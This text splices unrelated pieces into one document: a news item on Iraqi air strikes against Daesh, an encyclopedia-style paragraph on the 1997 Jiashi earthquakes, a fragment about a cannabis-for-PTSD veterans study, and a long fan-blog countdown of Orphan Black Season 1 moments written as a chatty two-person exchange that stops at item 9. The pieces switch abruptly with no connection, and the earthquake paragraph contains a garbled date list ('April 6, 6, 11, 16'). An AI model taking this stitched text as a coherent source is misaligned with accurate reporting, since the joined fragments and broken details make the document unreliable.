In other achievements by the Iraqi military, at least 40 members of the Takfiri Daesh terrorist group were killed in separate operations by the air force in Anbar as well as the northern province of Salahuddin.
This file photo shows an F-16D fighter jet operated by the Iraqi Air Force.
On Sunday, a total of 25 Daesh terrorists were killed when Iraqi fighter jets carried out a precision strike against the extremists’ position in the town of al-Qaim, situated about 500 kilometers (about 310 miles) west of the capital, Baghdad, Arabic-language al-Sumaria satellite television network reported.
Iraqi military aircraft launched a separate air assault west of al-Siniya (Chinese) district in Salahuddin Province, leaving 15 Daesh militants dead and a number of their vehicles destroyed.
Elsewhere, in the western city of Hit, located about 140 kilometers (85 miles) west of Baghdad, Iraqi jets carried out a precision strike against a Daesh-run bomb-making workshop, destroying all the explosives inside and killing several terrorists there.
An unspecified number of terrorists were also killed during Iraqi army aerial assaults on Daesh bases in Share’ and Taban districts west of the city of Samarra, located 125 kilometers (78 miles) north of Baghdad.
Moreover, Iraqi warplanes struck and destroyed Deash oil storage facilities in the oil-rich Haqoul Ajil district, east of the strategic city of Tikrit, itself situated 140 kilometers (86 miles) northwest of Baghdad.
Separately, Iraqi security forces made fresh gains against Daesh terrorists in the city of Husaybah, which lies seven kilometers (4.5 miles) east of Anbar’s provincial capital city of Ramadi, on Sunday.
The Jiashi earthquakes were a series of earthquakes from 1997 to 2003, with several earthquakes larger than M s 6 occurring between January and April, 1997.[1] Two strong earthquakes with magnitudes M s 6.4 and 6.3 occurred on January 21, 1997, at 09:47 and 09:48 local time, respectively, in Jiashi county of Xinjiang Autonomous Region, NW China.[2] The earthquakes occurred on a major strike-slip fault beneath the Tarim Basin. The fault has no surface expression and prior to the earthquake was not known about. At least 12 people were killed and 40 injured in the earthquakes of January 21.[3] Another earthquake on March 1, 1997, at 14:04 local time with magnitude M s 6.0 killed another person.[4] On April 6, 6, 11, 16, other four earthquakes with magnitudes M s 6.3, 6.4, 6.6, 6.3 killed 8 people.[5] Several predictions were made in this earthquake series. Some of the predictions were not fulfilled, while some preceded the predicted earthquake from 2.5 hours to 4 days. The April 11 earthquake occurred 30 minutes after a prediction was made.[6]
“We have veterans killing themselves every day in this country and we have no solutions for how to curb this epidemic,” Dr. Sisley lamented.
PTSD vs. Cannabis
Working to provide scientific clarity on the hazy topic of PTSD and medical marijuana efficacy, Dr. Sisley explained that her fellow researchers will work with 76 veterans in two clinics for a total of twelve weeks. Made possible by Dr. Sisley’s seven years of relentless campaigning for this research, the triple blind study is scheduled to take place in both Baltimore and Phoenix. The ultimate goal of this PTSD vs. Cannabis research is to provide those with political connections and the power to alter government policy with scientific evidence that marijuana’s cannabinoids can benefit those suffering from PTSD.
To qualify for the terpene-centric study, veterans must be diagnosed with PTSD and meet a certain “eligibility” criteria, according to News3LV.
Explaining to all concerned, Dr. Sisley noted:
“Science is no longer being shackled by politics, but it’s also heartbreaking to think of the last seven years how many service men and woman have died from suicide.”
Government Grown Pot
Ever since we finished season one in a giddy rush, we’ve been meaning to do something to show our love. This page sat on our dashboard half-filled for many, many months, until the knowledge that the show is returning spurred us to get it finished and out there.
For the record, we were originally intending to do a ‘Top 10 ‘Holy crap, this show owns Rophy’ moments in Orphan Black Season 1’ list and then we couldn’t. We just couldn’t do it, you guys. So we decided to modify the parameters slightly as follows…
Top 20 ‘Holy crap, this show owns Rophy’ moments in Orphan Black Season 1
20. Introducing… Alison.
“Hide your ugly face on the way out.”
Sophy says: She had me at hello. Okay, I don’t think she actually said hello so much as “Are you out of your mind?” closely followed by “Idiot” and “Don’t you even know who you’re talking to?” So she had me at all of that.
Alison was my first favourite clone and remained my favourite clone up until, well, she kind of stood by and watched somebody asphyxiate and/or get their face munched off, I’m not really sure on the logistics of that death scene and I’d rather not think about it any more than I have to. Don’t get me wrong, I still love Alison to death and all… it’s just that I’m now very, very afraid of her. Like… almost Helena-afraid. Okay, not quite. But she’s getting there.
But really, I was just totally enamoured of her from the moment she appeared on screen in her vest with her headband on and Sarah was all “A soccer mom?” And then she was wielding a knife around and making crazy faces and taking orange slices out to the kids and before she left she was all Hide your ugly face on the way out.
I laughed out loud at the intensity with which she delivered that line but at the same time I felt uneasy – sad and a little disturbed – that this woman had been made so afraid and so hateful by the experience of being a clone. That she valued the life she had made for herself so highly – above and beyond pretty much anything – but on some level it had all become fake to her. Because how can you really love your life – your family – your who-you-are if you look at your own face and call it ugly with such devastating vehemence and ease?
And I guess that’s what makes it so sad in the end. Alison goes through her own rebellion against herself throughout the season, trying to undo everything she’s done so well up to now in an attempt to not be this person – this trumped up copy of a copy of a copy. And in the end she’s too afraid of the chaos. In the end she returns to the safety of what she knows, holds on tight to the life she’s made for herself – to Donny – unaware that he is the one who has made it for her.
JESUS FUCKING CHRIST I HATE DONNY, YOU GUYS. More on this later.
Rin says: ALISON. Oh what to say about Alison. Like Sophy, it was an instant love kind of thing. From the moment Orphan Black started it was heavy. And really, when you start off with a suicide, can you really expect anything else? And I am all about that side of Orphan Black, it’s what makes it brilliant. This is some really deep twisted weird shit we’re dealing with and I love it. Sarah’s world is also pretty dark — with her druggie ex, her foster mum looking after her kid, etc. Fe is pretty magic and hilarious, but he’s also a part of that world.
When Alison showed up it was like this breath of fresh air that we didn’t even know we needed. She brings the complete opposite of Sarah’s world, and it’s hilarious. And you know what? She’s the Rachel Berry of the Orphan Black world. She’s more Rachel Berry here than Rachel was during Season 4, and it makes me smile. She’s crazy, over-the-top and wide eyed, and manages to charm the pants off you because of it.
I am also scared of her. And a little bit angry that they made Alison stand-by while her completely innocent neighbour/friend died. I was angry because now I can’t fully love her unconditionally. I mean, I get it. Alison was pretty messed up by that point and it was all building to point where she would have a moment of insanity like that. But it’s still basically murder, you know? AND I PREFER MY LOVES TO NOT BE MURDERS? EXCEPT FOR ALICE MORGAN, BUT YOU KNOW THERE IS ALWAYS AN EXCEPTION TO THE RULE. It’s also what you have to expect with a show like Orphan Black, i.e. expect the unexpected. They will throw a curveball like that whether or not you like it. They knew Alison would be someone that people loved because of the comedy — but now she’s a little bit tainted. No one is safe.
Sophy says: I think the saddest thing about Alison basically murdering her neighbor is that she’s never going home now, you know? She’ll still pretend to be a suburban mother of two but now she’ll know it’s pretending. Helena is the one who died this season, but I feel like the person Alison always believed herself to be died as well.
19. And a special introduction for Vic.
“It’s a race to see who can get in the car the fastest!”
Sophy says: Honestly, I never knew whether to laugh or cry when Vic was on screen. Usually, I did a bit of both in a spluttery kind of way. He’s just ridiculous. He’s a ridiculous human. I wanted to include about 6 other caps from this scene that were just of Vic being Vic, because the actor has a natural comedy in the way he moves and is just downright endearing and irritating and overall marvelous. And I think most of the time because he’s such a ridiculous figure you’re just sitting there giggling at all the shit that he goes through and then every now and then it hits you how badly his life sucks and how maybe it’s not actually all that funny when people maim him…
EXCEPT IT IS.
ALISON MACED HIM YOU GUYS. SHE STRAIGHT-UP PEPPER-SPRAYED HIS POOR LITTLE FACE. AT CLOSE RANGE. AND HE ALREADY LOST A FINGER??? Which, by the way, one of the things that made me laugh/cry most about Vic was just how long he kicked-puppied around the place with that shabby bandage on his hand being more worried about other things like Sarah and the ways she screwed him over.
AND THEN ALISON MACED HIM. AND THEN SHE TASERED HIM FOR GOOD MEASURE. And the best part about it is that she absolutely does not have the excuse that a strange man came up and started harrassing her. Well she sort of does. But not really. Because she knows full well why he’s calling her by another name and talking about her being alive. She knows he’s not just some random shopping mall loon out to harm her. But the thing is that Alison protects Alison’s world, you know? It doesn’t matter how unfair it is that this guy has found himself caught up in the clone hurricane and has no idea what is going on and is clearly distraught and confused and, you know, bleeding and stuff. Alison’s not going to explain herself. She’s not even going to try to make up a lie. She’s going to mace and taser the hell out of him, get her kids in the car and pretend this never happened to her.
AND SHE MADE IT A GAME.
SHE. MADE. IT. A. GAME.
Rin says: THE BEST GAME EVER.
I love that the clichés continued to keep stacking on top of Alison. Because of course she would be the kind of person that carries around mace and a taser in her bag. I would not be surprised if she has a rape whistle on her keychain too. Alison is just the complete Soccer Mum package, and it’s perfect. She was also just in a shop called ‘THE SPY GUYS’. Christ.
Vic is so stupid. HE’S SO STUPID. And he starts off being an annoying fly that you can’t get rid of, showing up everywhere where he isn’t supposed to. And turns into a character you learn to love and accept because he’s just that hopeless and pathetic.
Also the scene in the grocery store where Vic tells Alison’s kids to stay in school and then looks pointedly at his own bloody hand. Oh my god. Ridiculous.
Sophy says: I absolutely love the fact that Vic the Dick was probably once the scariest thing in Sarah’s life. And now he’s just…. lol.
18. Self-surgery.
Wrong.
Sophy says: I nearly barfed. But in a really impressed and appreciative manner?
And I just about cried when that kid came into the bathroom, because, hey, naturally I assumed Helena was going to eat him for breakfast and be on her way and so I was bracing myself for child-murder that thankfully never came. That’s kind of the brilliant thing with Helena though – you never know quite where to place her. When you see this figure, back slashed into bloodied wings, rubber gloves on, pulling large objects out of wounds like it’s Tuesday… you just assume she’s some kind of horror movie villain. And then she isn’t. And then she is.
And then she isn’t…
and so on and so forth.
Look at me, talking about her in the present tense.
Rin says: BUT THEN SHE REALLY KIND OF IS. Because oh my god what is happening and my eyes, my eyes.
And I totally get what you mean when you say you were impressed. This is the kind of stuff that lets you know they’re not kidding around. A lot of shows will tend to use gore as a means of SHOCK and HORROR, and yes this was shocking and horrifying, but it’s also completely necessary for Helena. They say don’t judge a book by its cover, but I’m pretty sure having bloodied wings carved into your back says a lot about a person.
They’re not the type of people you invite over for Christmas Lunch.
Sophy says: Oh god now I’m imagining Clonemas Lunch. Helena keeps trying to climb to the top of the tree only it’s too flimsy and Alison spent sixteen hours hand-painting that goddamn angel and is swatting at her with a spatula.
Sarah and Cosima are drinking quietly.
Rin says: NOW WE’LL NEVER GET THAT.
And she’ll never have any more fruit punch ever or eggs or yawn or brush her hair.
Sophy says: WALL-PUNCH.
17. Family before clones.
“You point a gun at my brother again and I will kick the living shite out of you!”
Sophy says: BROS BEFORE CLONES. I love how badass Sarah is when it comes to the people she loves. Like, she hasn’t got time to freak out about the fact that a copy of her is holding a gun and making psycho face, because she’s holding that gun and making that psycho face at her brother.
Sarah is such a mama bear. Like, really, there is a huge fucking seven foot roaring wild animal inside her tiny body when it comes to her family. And actually, I think Alison kind of relates to that. I mean, the whole reason she’s standing outside shaking with a gun in her hands is because she feels that her family is being threatened.
And then once Sarah has calmed the whole situation down she gives Alison a good slap. Because a little physical abuse never did any harm when it comes to establishing who’s boss.
Physically abusive Sarah
Rin says: This moment really is about everything that has come before it. From the end of the previous episode and it being almost a complete joke to Felix because Suburbia and ‘Oh my god, don’t stop, someone might speak to us,” as he clutches at his jacket. I love that Sarah wanted backup in the form of Fe to go to Alison’s house. And then the big clone reveal happens and it’s all BAM BAM BAM. I’m sad I couldn’t fit more Cosima into these caps, because she’s a real champ throughout these scenes, but don’t worry there’ll be plenty of Cosima yet. Spoiler alert.
I love that we see how much of Alison’s tough girl act, what with the gun toting and all, is just an act. As she shakily points the gun at Felix, shouting at him in a panicked voice. AND THEN SARAH SLAPS ALISON AND THREATENS TO KICK THE LIVING SHITE OUT OF HER IF SHE POINTS A GUN AT HER BROTHER AGAIN.
And you guys know how much we here at RophyDoes love on the sibling relationships. And this was one of those times when the strength of that relationship is brought to light, with Sarah showing just how seriously protective of Felix she is.
And Alison is being all Rachel Berry again, with her little slapped face. No, I don’t ship Alison/Sarah.
Clonecest is illegal.
Sophy says: I think it would be a terrible shame if no clonecest ever went down on this show. What self-respecting secret clone-making organization wouldn’t at least try to make that happen and look on eagerly, clip-board in hand???
ALSO. “HI. AWKWARD. I’M COSIMA.”
FFFFFFF;SKLDJFLS;FKGJ;SLDKJ.
16. We refuse to believe Mrs S is evil.
“I can keep Kira safe. Just like I kept you.”
Sophy says: I know there’s plenty of evidence at this point to suggest that Mrs S has simply been playing Sarah her whole life and she is just really good at it, what with the reverse psychology of being hard on her and keeping her at arm’s length whilst keeping her daughter, rather than being too obviously cloying and trying to play happy families… but. BUT.
I just can’t believe that she’s that evil. I mean I can… and I can’t.
Say what you like about the ethics of knowing something huge about someone their whole life and never telling them – of spying on them – of allowing them to be essentially a rat in a cage and have just about as much awareness of it as, well, a rat in a cage. Even if that’s really what Mrs S has been up to all these years, the fact remains that she has, as she says, kept Sarah safe. And she has kept Kira safe. And I loved that in this darkest moment, as Sarah prepares to crawl into the belly of the beast that made her, Mrs S is the one she entrusts her most precious human to. Having railed so hard against Mrs S’s interference, here Sarah recognizes the good in having a woman like this on her side – someone strong enough to protect her child from any harm at any cost. So I’d like to think that even though Mrs S is clearly dodgy as hell, Sarah’s instincts when it came to her child were right. I’d like to think that whatever other agenda Mrs S may or may not have been running she loves her enough that her safety > all other things.
We’ll see where season 2 goes shortly. But until I get definitive proof that Mrs S would ever willingly put Sarah or Kira in harms way, I’m going to go ahead and treasure the moment Sarah caved – the moment she gave in and loved this woman who is all the mother she will ever get.
(THANKS A LOT HELENA, MORE ON THAT LATER.)
Rin says: Hahah there’s a lot of things we’re thanking Helena for later.
But I agree, I refuse to believe she is evil. Mostly because I don’t want it to be that simple, she’s always been a bit suspect and whilst it’s easy to think the worst of her and TRUST NO ONE, there surely has to be a reason for her actions. Besides the house had been ransacked so she probably took Kira to protect her. Also I love her accent. WHAT, MAYBE SOMETIMES THINGS ARE SIMPLE.
I love their little thrown together family. Clearly their upbringing wasn’t all butter and salt and their current relationship isn’t either, but they look out for one another. They are all the family they’ve got and more than ever they have to cling on to each other when so much else is up in the air. WHEN THERE ARE PEOPLE OUT THERE WEARING YOUR FACE. You kind of need the people you have a history with, good or bad.
15. Here’s to not murdering you!
“You should have just told me in the first place.”
Sophy says: There aren’t many shows around that would establish the foundations for one of their central romantic relationships in the very same scene one party was gearing up to murder the other. But here’s the thing about Paul/Sarah: it’s dark and the writers are not afraid of that. Paul doesn’t have to be a good person for Sarah to want, take, have him, and a lot of that is down to the fact that Sarah is extremely self-contained in her romantic relationships. She can revel in attraction because she is quite good at not letting it become anything more than it needs to be.
But although Paul isn’t a good person I also don’t read him as a bad person, so much as somebody who got stuck in the middle of something far, far bigger than he knows – someone confused and angry and self-hating and staggeringly depressed – someone who’s had his life taken away from him over the past few years by being forced to become a monitor, as much as any of the clones has by being monitored.
I know a lot of people hate Paul and think his actions with Beth (and I guess Sarah) are unforgivable and he should get the eff away from any and all Tatiana Maslanys and die slowly in a ditch somewhere. I’m not one of those people. If what Paul says is correct and he killed several fellow soldiers without intending to… personally I can hardly blame him for hastily accepting any deal to cover that up. It may be that he did nothing negligent or malicious that led to those people’s deaths, but it ain’t easy being prosecuted, especially when you’re suffering from a motherload of subconscious guilt and probably actual PTSD. Sure, a hero would face the music – tell the truth, let the chips fall where they may. A hero wouldn’t compromise his morals. A hero wouldn’t hide.
But Paul isn’t a hero. He’s just a desperate man whose misfortunes and unfortunate choices have led him slowly further and further away from the person he used to be. He would have done anything to escape the shame and guilt of what happened in Afghanistan. He’d do anything now to escape DYAD and the shame and guilt of what he did to Beth – including killing this girl who looks exactly like her, who has been playing him in a game he’s been at for too long without knowing the rules.
Paul would do anything to get out. But unfortunately for him Sarah isn’t a bad guy. Unfortunately for him neither was Beth. This isn’t a situation where he can tell himself all’s fair in love and war, fight back, win, and walk away when it’s done. What Paul realizes when he assimilates that Sarah and Beth are clones – that there are nine of them – that they are victims in this and have been all along, is that the only way out of this is through it. The only way he’s ever going to regain an ounce of self-respect is by helping Sarah instead of hurting her.
She trusted him. She told him all of the truth. Poisoning her now would be like shooting an unarmed man in the back.
So Paul puts the contaminated bottle back and gets another out and they both drink. And he does this in a way that is slow and deliberate, making it clear to Sarah what was going to happen if she hadn’t been straight with him. That’s the honesty he gives her in return. That’s the truth of who he is that he doesn’t try to hide from her.
Not a good man. A coward. Ruthless. On her side.
This is when Sarah and Paul first know each other, never mind all the bow chicka wow wow, and their introductions are sleek and dark and just perfectly written and acted and shot.
Rin says: Yeah but I probably would have poured that bottle down the drain instead of putting it back in the cupboard. LIKE WHAT IF YOU FORGET ONE NIGHT AND IT’S OH SHI—-DEAD??! Better safe than sorry.
I don’t hate Paul either. (One day Sophy and I will disagree and the world will implode.) I wouldn’t say he’s my favourite character on the show because I don’t even know how that would be a thing when you have so many Maslanys, but I like him because he’s necessary. Without Paul there wouldn’t be as much push and pull, someone to actually challenge Sarah in a way that the others don’t. He’s about as regular as you’re going to get on this show and in a way that balances out the dynamics. Everyone else is kind of crazy, let’s be honest.
I have a lot of faith in Paul. Mostly because I find it impossible to look at Sarah’s baby bruised face in the elevator and not throw caution to the wind and basically move mountains to give her what she wants. I think he’s going to be willing to risk everything for her. IT’S ONLY A MATTER OF TIME.
Sophy says: LOL OH GOD NEVER PUT THE MURDER BOOZE BACK IN THE CUPBOARD. Noted.
14. A jogging.
“Did you say ‘a jogging’?”
Sophy says: Okay, I will admit that part of the reason this is in here is because visually there are ways in which it is so violently Quinn and Rachel at Yale in ASWD for me that I could cry.
But really, how can you not ship this, regardless of any Faberry visuals you may or may not get out of it? Well, okay, if you’re one of those people who’s a real stickler for relationships not arising out of deceit and manipulation, and, you know, one party monitoring another party because they’re a science experiment and it’s, you know, interesting… Then I guess not shipping it is fair enough.
But is there a single such stickler in fandom? I think not. And the reality is that as much of a time honoured teen movie cliche as it is… it may have started out as a dare/prank/bet/job opportunity, but the one thing Delphine didn’t count on was how adorable certain clones could be. She didn’t count on who Cosima is being more fascinating and engaging to her than what Cosima is.
And maybe she just didn’t count on having so much fun? And not just in this scene. Obviously.
A JOGGING.
Rin says: Oh wow. Now all I’m seeing is Faberry and suddenly I’m shipping Cosima/Delphine more? BECAUSE I SEE IT SO MUCH. The height difference. The coats. The blonde/brunette. The university. Sigh. FOREVER LAMENTING WHAT COULD HAVE BEEN.
But yes. Running away hand in hand from the conference with stolen wine while it’s snowing? AND THE EXTREMELY 90s NO DOUBT SONG IS PLAYING? It’s like the trifecta of romance for gods sake. And then Cosima says they should steal some bikes and now they’re treading on Naomily territory.
AND THEN ‘A JOGGING’ AND HER BEING ALL FRENCH. Okay. Fine. I mean, we all know she’s a double-crosser. Cosima knows. Well she at least suspects. But it’s times like these that are so easy and free that clouds her mind..because it can’t all be an act? Surely? Some of it has to be real.
POOR COSIMA.
It’s always the smart ones who take you by surprise at how foolish in love they can be.
Sophy says: I know right? Cosima really is one of those smart people who’s stupid about pretty ladies. I mean, for the love of all that is good and cloney, how could she leave all that info out in the open while she went to get icecream? Like, I’m sure sex with Delphine is the shit, but does it actually make your brain stop functioning?
(That’s an actual question.)
13. In which Sarah is better at being Alison than Alison is
“Your wife is the rock of this family! You will no longer speak down to her!”
Sophy says: Okay first of all the entirety of Alison’s ill-timed pot-luck party was just gold. Gold. But especially this for reasons of Donny is the fucking worst and I hate him I hate him I hate him?
Donny tied up and gagged and glue-gunned with the pink eyepatch is one of the best things that has ever happened to me – and to be honest, that was actually before I was sure he was Alison’s monitor and didn’t even have the decency to be kind of in love with her and therefore deserved everything he got.
But there were actual reasons I loved this scene so much beyond the LOLs and the way it satisfies my vindictive spirit.
Sarah is not all that into Alison, let’s be real. Alison is an uptight soccer mom who alternately scares or irritates Sarah from day 1. If there was ever a Clone Club episode of Come Dine With Me (which let’s face it, there should be a Clone Club episode of Come Dine With Me) Sarah and Alison would score each other 4’s and tell the cameras they don’t see themselves staying friends after this experience.
(Cosima and Sarah would promise to facebook. Helena would eat all the food and tie everyone up in the basement so it would all be moot.)
But yeah, I don’t think Sarah has all that much time for Alison in terms of their day-to-day interactions, but that doesn’t mean she doesn’t care about her. Scenes like this show us that she does care – about Alison’s rights – about her life and her well-being – that she cares about her the way you care about a sibling you never had anything in common with and used to try to pretend you weren’t related to (ha, good luck) but when push came to shove you would beat people to death with a shovel if they hurt them?
Alison isn’t Sarah’s sister. They have no shared history beyond the one they’re building now. But they do have a connection that I don’t think is so much about sharing the same DNA as it is about facing a shared enemy and living with shared fears. I think that when Sarah tells Donny how much more Alison is worth than the way he is treating her, she’s speaking for herself as well and for all the clones.
But there is a way in which it’s very personal. This isn’t just Sarah sticking up for a woman she barely knows – it’s Sarah returning a favour. Because let’s not forget that Alison went out on a limb for her too. She was there for Sarah’s right to be a mother to Kira. She went all out for it. She wore a freaking hoodie about it! For all Alison’s lethal levels of crazy (not just an expression), Sarah knows the ways she can be strong and decent. She knows that she can value somebody else’s family just because family is something she believes in. And I think that’s why the thought of Danny not appreciating that pisses Sarah off so much.
Also, the psycho face going on in that last cap is so absolutely and impressively Alison’s, not Sarah’s, that I was about to congratulate Tatiana on pulling off such a great imitation for this scene.
Heh.
Rin says: I HONESTLY SOMETIMES FORGET THAT SHE PLAYS ALL THE CHARACTERS. Especially when she’s one clone impersonating another clone. Who the fuck even wrote this and even thought it was a possibility that someone would have to play one character playing another character that they’re already playing? It’s just the most delicious mind fuck and once again all the awards the Tatiana Maslany.
THE CRAFT ROOM THOUGH.
It’s probably one of the scenes of the show for me because it was so hilariously lame and Alison. A special shout-out to the production crew for making everything pink too. IT JUST ADDS. And a hot glue gun. I never ever thought I would find torture hilarious and Orphan Black proved me wrong.
ALSO BIG BOOB BLOWIES.
K BYE.
Sophy says: WHO WOULD WIN IN A FIGHT, BIG BOOB BLOWIES OR ASIAN FUNNY FUN??????? These are the questions.
12. The mitten on her face. THE MITTEN ON HER FACE.
“What happened to you?”
Sophy says: AFELKFJA’LKJFL’AEKJFLAK;FLAFLKJEA;LFJA;LKJF. WHAT IS THIS EVEN I DON’T. THE MITTEN. AND HOW. BECAUSE.
So Helena steals Kira from Sarah, except she doesn’t so much steal her as borrow her for some love – for some comfort – for the briefest sense of belonging. Because Kira, being innocent enough to trust in people, being, at the same time, smart enough to see through facades, being preternaturally strong in a way that makes her less afraid than most people, Kira is the one who knows that Helena is not a monster, only someone to whom ‘something’ happened. Helena herself does not understand this. She sees who she is now as a finished product – as the way she was always supposed to be. But seeing Sarah, this copy of her who feels like a sister before she is even revealed to be one, seeing her be sane and clear-eyed, seeing her have friends and family… I think that’s what finally opens Helena’s eyes to the ways she has been hard done by.
Kira brings truth to her. She soothes Helena. She warms her. And she makes Helena aware of herself in ways she never has been before – awesomely aware – terrified – lost because she has been found.
Kira is the angel Helena has been trying to shape herself into. And in this moment Helena understands herself to be just a girl that somebody else played with – and broke.
I sometimes wonder how differently things might have played out for Helena if Kira hadn’t been hit by a car immediately following this epiphanic experience. Alas.
Meanwhile how stunning are these shots? The pink and the green of it all is doing things to my pants.
Rin says: That sounds so much more gross than just saying your pants came off. God. But you’re right, the alley shots are gorgeous
I’m not sure things would have been that different if Kira hadn’t been hit by the car. WHICH BY THE WAY, was so horrible. What kind of show lets this little adorable pink puffball get hit by a car?? I definitely think it added to Sarah’s decision to shoot Helena, because she knows how dangerous of a person she is..but also when you’re confronted with your birth mother bleeding out and dying right before your eyes. Stabbed by your psychotic twin. Well, you’re probably going to shoot her. Though by that point she was already on her second chance, so maybe Sarah wouldn’t have shot her. It’s a fine line.
BUT LOOK AT THEM HUGGING AND YES, THE MITTEN. And then you think about how Kira is her niece and they could have been so many things. If only. I’m so happy we got to have these kinds of scenes though because Helena is brutal, she’s a killer, but in some ways she’s also very innocent. Almost child-like. I think that might also be a reason they bond so immediately and wholly. Why Helena holds her tight, a tangible emblem of everything she never had.
Sophy says: Noooo, I’m not saying Kira being hit by the car is why Sarah kills Helena in the end, I agree that that’s mostly about her birth mother and just how generally dangerous Helena is. It’s just that I sometimes think that if Kira had just been scooped up safe and sound and given Sarah her perspective on Helena, maybe things wouldn’t have wound up spiralling, you know? Like, maybe the whole sequence of events would have been different and Helena would have been able to bond to Sarah just that little bit more before their birth mother showed up and they could have faced her together and no knifing would have occurred.
11. Sarah as The German.
“Nein. Nein!”
Sophy says: I think this was the moment I knew I was in love with Sarah Manning. Because she keeps it together when everyone else would fall apart. Because she has all the balls. Because she finds out she’s some kind of science fiction freak and she uses it to her advantage – she owns it. And she is fucking adorable about it.
GERMAN SARAH IS ONE OF MY FAVOURITE SARAHS AND ALWAYS WILL BE. ROCK N’ ROLL.
Rin says: Hahah this was the moment that I knew that YOU would fall in love with Sarah Manning. Because one time Sophy told me about how she fell down the stairs and got massive bruises because she was carrying her giant German dictionary.
BUT WHEN SHE’S TALKING TO HERSELF JUST BEFORE SHE ENTERS THE HOTEL…HOW CAN YOU NOT FALL IN LOVE WITH HER.
Sophy says: SHHHHHHH. Die Rin Die!
10. Alison sexually objectifies Chad.
“I’m objectifying you sexually to get back at Donnie.”
Sophy says: BUT. ALISON. AND. SEXUALLY OBJECTIFYING. AND CHAD’S STUPID FACE. JUST. ALL OF IT.
You might think we have this on the list purely because it’s fucking hilarious, and it is, but we don’t. Looking back, Alison’s character is brilliantly constructed throughout this first season of the show. When she watched her neighbour die horribly and stood by next to the switch she could flick to save her and did nothing I was stunned. How could Alison do this, I thought! She was my favourite and now I would forever feel creeped out by her and queasy at the sight of her gloriously head-banded face.
But the thing is that I should have been creeped out and a little queasy all the way along. The truth is that so much of what’s funny with Alison would be disturbing if it wasn’t on TV – on a TV show especially in which everything else is already so disturbing. Alison didn’t just have a psychopathic moment out of nowhere. However you’d diagnose her, it should always have been clear to us that she was a little… crazy. Or at least not exactly sane. So when she watches the obnoxious blonde woman who is so clearly not her monitor die it’s not so much a twist as a revelation. This side of Alison has always been there, we just weren’t paying attention and that was the writers’ plan all along. Basically, they kept us occupied with Helena’s crazy to the point where Alison’s crazy sailed right past us till it was too late?
When I was rewatching this episode the other day I was struck by something I remember from The Vampire Diaries. There was a line in there about how a doppelganger will try to destroy its counterpart’s life – to pick it apart at the seams till it is entirely undone. And obviously Helena does that with all the clones and especially Sarah and in a brutally efficient sort of way. But I like the idea that Alison does that too – unpicks a life, undoes it – but not to her fellow clones who are victims just the same as she is. She does it to her monitor – or the person she thinks is her monitor. Or at least that’s what I thought this was about initially. But now that I’ve taken a deep breath and had a good think about it, you know what I think Alison’s whole thing with Ainsley was about on a subconscious level?
Ainsley is her true doppelganger. She may look nothing like her but she is her true doppelganger in that she is living exactly the life Alison should be living – exactly the life she was trying to build for herself. And nobody is hunting her. Nobody is thrusting copies of herself in her face. Nobody is telling her everything she is and everything she has might be a lie.
So Alison ruins it. She takes it over. She makes it hers.
And she is fucking hilarious while she’s at it. Just. How purposeful and deadpan she is about it. Like, she doesn’t really even bother being seductive, she just cuts right to the chase and commences sucking his icky face off? Amazing.
Rin says: I was so incredibly shocked they literally turned Alison into a killer. It’s not something you expect from the hilariously lolsy character, and I guess that’s why Orphan Black did it. They know exactly who their characters are and what is expected of them, and then how to completely turn everything on its head, and somehow still have it all make sense? Because after it happened, yes we’re all like what the fuckkkkkkkkk but then you think about it and you see it. The slow build of Alison’s character into some kind of insanity. Because what happened was the actions of someone not right in the head. Whether she was a monitor or not is irrelevant. Normal healthy people do not let other people die right before their eyes when they can so easily avoid it. LIFE FACT OKAY?
The doppelganger thing is super interesting, and I’d never really thought about that before but it makes sense. And even more sense when you take out the clone factor and just apply it to real life. In a sense doesn’t it really just boil down to jealousy? We all have our visions of what we’d like our life to be, and we know people who are living that life much better than you. There will always be a part of you that is jealous, that wants it… because it should be yours shouldn’t it? I think that’s pretty normal behaviour. Unless I’m kind of alone in this and have just revealed that I’m kind of a bad person? But I don’t think it’s necessarily unhealthy to want better things for yourself. Or to wish that you could somehow get your shit together and actually start living the life you want to lead. /backpedalbackpedalbackpedal.
WHAT WAS I TALKING ABOUT?
Oh yeah. Alison being crazy. Making excuses for her actions. But I think she has probably wished Ainsley was dead way before clones and monitors came onto the scene.
I think it’s smart for Orphan Black to challenge its viewers in this way. I’m just intrigued to find out how they can salvage her character. I mean, she’s not ruined as a character in the sense that I think it’s bad writing or anything like that. I just can’t like Alison any more. I know I’ll still enjoy her as a character and she is bound to be crazy and hilarious as always, but until there is some real redemption there — it can’t ever be the way it was. I think that was probably the goal of the writers anyway, they don’t want to fall into a lull with their characters and letting us feel comfortable. They like us on our toes.
It’s not that I can’t like killers, okay. I LIKE SO MANY CHARACTERS THAT HAVE KILLED PEOPLE THAT THAT ALONE PROBABLY SAYS SOMETHING ABOUT ME. But it’s like.. it is always circumstantial. What was their childhood like? Were they abused? Did they have a choice? What was their motivation? Did they have a soul at the time? Etc. I don’t think there is anything about the way that Alison killed Ainsley that makes it understandable. Like I know Alison was paranoid as fuck and everything, and kind of teetering on the edge of insanity. BUT. LIKE. Ainsley got her scarf caught in the garbage disposal thing (WHICH REALLY WHY DO PEOPLE EVEN HAVE THESE ANYMORE) and she just stood there! Crazy.
ANYWAY. After all of that.
Sexually objectifying people is something she should do more of.
Sophy says: I love that you basically hijacked this category to vent further about Alison/Ainsley/Garbage disposal. I understand. And yes, I agree, what happened there went beyond a momentary lapse of reason. I’m sure there have been things in Alison’s life even prior to finding out she’s a clone that have contributed to her being able to stand there and watch someone die, but for now I’m just going to remind myself of that one time Felix said he was beginning to realize crazy was genetic and I’m going to keep a close eye on Sarah and EVEN COSIMA. YES, DEAR LITTLE COSIMA. I’M WATCHING YOU.
09. We want this babysitter.
“I’ll dress up as a boy!”
Sophy says: As soon as I finished this episode I rewound to this scene and rewatched it a whole bunch of times. Then I did what you always do when you’re so charmed and delighted by something you could burst and you know fandom will be similarly charmed and delighted: you go to tumblr and gaze at gifsets when you could just as well be rewatching the scene some more, but you’ve done that already so it’s time to move on.
Seriously though, you guys, how cute was this? One of my favourite things about Felix is how immensely liberated and simple he is about his sexuality. There’s no shame in being different from the people around him for Felix and there’s no dwelling on it either. He just gets on with being him and assumes that other people will get on with the same, which really, is how you should live life.
So whether it’s painting naked, flirting cheerfully with Sarah’s boyfriends or making babysitting as gay as he likes… Felix is true to who he is. And that is awesome.
